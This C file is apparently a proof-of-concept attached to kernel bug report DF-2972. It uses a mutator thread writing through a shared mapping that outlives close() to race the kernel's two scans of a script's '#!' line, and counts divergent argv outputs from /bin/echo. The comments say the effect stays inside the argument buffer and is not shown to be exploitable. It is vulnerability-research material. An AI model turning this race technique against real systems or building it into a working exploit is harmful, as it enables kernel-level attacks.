DF-2972 / race_demo.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 | /* * DF-2972 โ interpreter-line double-scan TOCTOU in exec_shell_imgact() * ========================================================================= * * sys/kern/imgact_shell.c scans the script's first page TWICE: * * scan1 (imgact_shell.c:75-96) sizes the reservation, drives the E2BIG * check (:120), the argv[1..]+env bcopy * shift (:123-124) and the endp/space * adjustment (:126-129). * scan2 (imgact_shell.c:138-162) actually copies the tokens into the * string buffer and bumps argc (:160). * * The scanned page is the file's LIVE page-cache page (mapped via * exec_map_page, kern_exec.c:770-842). A MAP_SHARED writable mapping that * outlives close() keeps the ability to store into that same page: DF drops * v_writecount on close (sys/kern/vfs_default.c:1213-1216, comment at * :1204-1209 explicitly acknowledges mmap writes "after the last close()"), * so exec_check_permissions' ETXTBSY guard (kern_exec.c:1325) does not fence * the racing writer. A store landing between scan1 and scan2 makes the * kernel reserve space for one interpreter line but copy another. * * Impact on this platform is confined to argv/env corruption *inside* the * PATH_MAX+ARG_MAX (266,240 byte) args->buf object (scan2 writes are bounded * by the page: buf[0..4094]); interpreter_name is still MAXSHELLCMDLEN- * bounded (:173-174). No OOB write is possible โ this demo proves the * divergence is real and userland-observable, not that it is exploitable. * * Detection principle * ------------------- * The script's interpreter is "/bin/echo" (never raced โ only bytes 12..59 * of the line are flipped). echo prints its argv: * * <raced tokens> /tmp/df2972/t USERARG * * For ANY single (even mid-flip) page state observed consistently by BOTH * scans, fname and USERARG stay ADJACENT and intact. If scan1 != scan2, * the fname copystr lands at scan2's offset while the shifted strings sit * at scan1's reservation -> fname/USERARG mangled, overlapping, or * separated by stale bytes. So: * * consistent output == canonicalA or canonicalB (captured quiet) * mixed single-state contains "/tmp/df2972/t USERARG" adjacent * DIVERGENCE (race hit) neither of the above * * Build: cc -O2 -pthread -o race_demo race_demo.c * Run: ./race_demo [iters] [hits_wanted] * Success criterion: >=1 "DF2972_HIT" line and HITS>0 in the summary, * guest stays up (no panic expected โ writes stay inside args->buf). */ #include <sys/mman.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/wait.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <signal.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define SCRIPT "/tmp/df2972/t" #define ARG_OFF 12 /* first byte after "#!/bin/echo " */ #define ARG_LEN 48 /* raced region: bytes 12..59 */ #define USERARG "USERARG" #define FNAME "/tmp/df2972/t" static char *map; static volatile sig_atomic_t go = 0, stop = 0; /* * Large environment (~200 KB) so the bcopy at imgact_shell.c:123-124 has to * shift a big block, widening the scan1 -> scan2 window to tens of us. */ #define NENV 50 #define ELEN 4100 static char envbufs[NENV][ELEN]; static char *envp[NENV + 1]; static void * mutator(void *x __unused) { char *p = map + ARG_OFF; while (!stop) { while (!go && !stop) ; if (stop) break; /* state B: one long token */ memset(p, 'B', ARG_LEN); /* state A: short token + padding spaces */ p[0] = p[1] = p[2] = p[3] = 'A'; memset(p + 4, ' ', ARG_LEN - 4); } return (NULL); } /* Run one exec of the script; returns malloc'd stdout line (NUL-stripped) * or NULL on exec failure; *exitp gets child status. */ static char * run_exec(int *exitp) { int fds[2]; pid_t pid; static char out[8192]; if (pipe(fds) < 0) return (NULL); pid = fork(); if (pid < 0) { close(fds[0]); close(fds[1]); return (NULL); } if (pid == 0) { char *argv[3]; close(fds[0]); dup2(fds[1], 1); close(fds[1]); argv[0] = (char *)SCRIPT; argv[1] = (char *)USERARG; argv[2] = NULL; execve(SCRIPT, argv, envp); _exit(127); } close(fds[1]); { ssize_t n, tot = 0; for (;;) { n = read(fds[0], out + tot, sizeof(out) - 1 - tot); if (n <= 0) break; tot += n; if (tot >= (ssize_t)sizeof(out) - 1) break; } out[tot] = '\0'; close(fds[0]); waitpid(pid, exitp, 0); while (tot > 0 && (out[tot-1] == '\n' || out[tot-1] == '\r')) out[--tot] = '\0'; if (tot == 0) return (NULL); return (out); } } int main(int argc, char **argv) { long iters = (argc > 1) ? strtol(argv[1], NULL, 10) : 40000; long want = (argc > 2) ? strtol(argv[2], NULL, 10) : 8; pthread_t th; int fd, st; char *expA, *expB, *out; long nA = 0, nB = 0, mixed = 0, fail = 0, hits = 0, i; setvbuf(stdout, NULL, _IOLBF, 0); signal(SIGPIPE, SIG_IGN); /* build the big environment once */ for (int k = 0; k < NENV; k++) { envbufs[k][0] = 'K'; envbufs[k][1] = '0' + (k / 10); envbufs[k][2] = '0' + (k % 10); envbufs[k][3] = '='; memset(envbufs[k] + 4, 'E' + (k % 20), ELEN - 5); envbufs[k][ELEN - 1] = '\0'; envp[k] = envbufs[k]; } envp[NENV] = NULL; mkdir("/tmp/df2972", 0755); fd = open(SCRIPT, O_RDWR | O_CREAT | O_TRUNC, 0755); if (fd < 0) { perror("open " SCRIPT); return (2); } { static char body[128]; int n = 0; n += snprintf(body + n, sizeof(body) - n, "#!/bin/echo "); memset(body + n, 'A', 4); memset(body + n + 4, ' ', ARG_LEN - 4); n += ARG_LEN; body[n++] = '\n'; body[n++] = '#'; body[n++] = '\n'; if (write(fd, body, n) != n) { perror("write"); return (2); } } if (fchmod(fd, 0755) != 0) { perror("fchmod"); return (2); } /* MAP_SHARED writable mapping, then close the fd: the mapping (and its * write access to the page-cache page) survives the close. */ map = mmap(NULL, 128, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (map == MAP_FAILED) { perror("mmap"); return (2); } close(fd); /* quiet baselines (mutator not yet running) */ memset(map + ARG_OFF + 4, ' ', ARG_LEN - 4); map[ARG_OFF+0] = map[ARG_OFF+1] = map[ARG_OFF+2] = map[ARG_OFF+3] = 'A'; out = run_exec(&st); if (out == NULL) { printf("DF2972_ERR: baseline A exec failed st=%d errno=%d\n", st, errno); return (2); } expA = strdup(out); memset(map + ARG_OFF, 'B', ARG_LEN); out = run_exec(&st); if (out == NULL) { printf("DF2972_ERR: baseline B exec failed st=%d\n", st); return (2); } expB = strdup(out); printf("DF2972_CANONICAL_A=[%s]\n", expA); printf("DF2972_CANONICAL_B=[%s]\n", expB); pthread_create(&th, NULL, mutator, NULL); go = 1; for (i = 0; i < iters && hits < want; i++) { out = run_exec(&st); if (out == NULL) { fail++; continue; } if (strcmp(out, expA) == 0) { nA++; continue; } if (strcmp(out, expB) == 0) { nB++; continue; } if (strstr(out, FNAME " " USERARG) != NULL) { mixed++; continue; } hits++; printf("DF2972_HIT iter=%ld out=[%s]\n", i, out); } stop = 1; pthread_join(th, NULL); printf("DF2972_SUMMARY iters=%ld consistentA=%ld consistentB=%ld " "mixed_single_state=%ld exec_fail=%ld HITS=%ld\n", i, nA, nB, mixed, fail, hits); if (hits > 0) printf("DF2972_VERDICT: RACE_DETECTED (scan1/scan2 divergence is " "userland-observable)\n"); else printf("DF2972_VERDICT: no divergence observed in %ld iters\n", i); return (hits > 0 ? 0 : 1); } |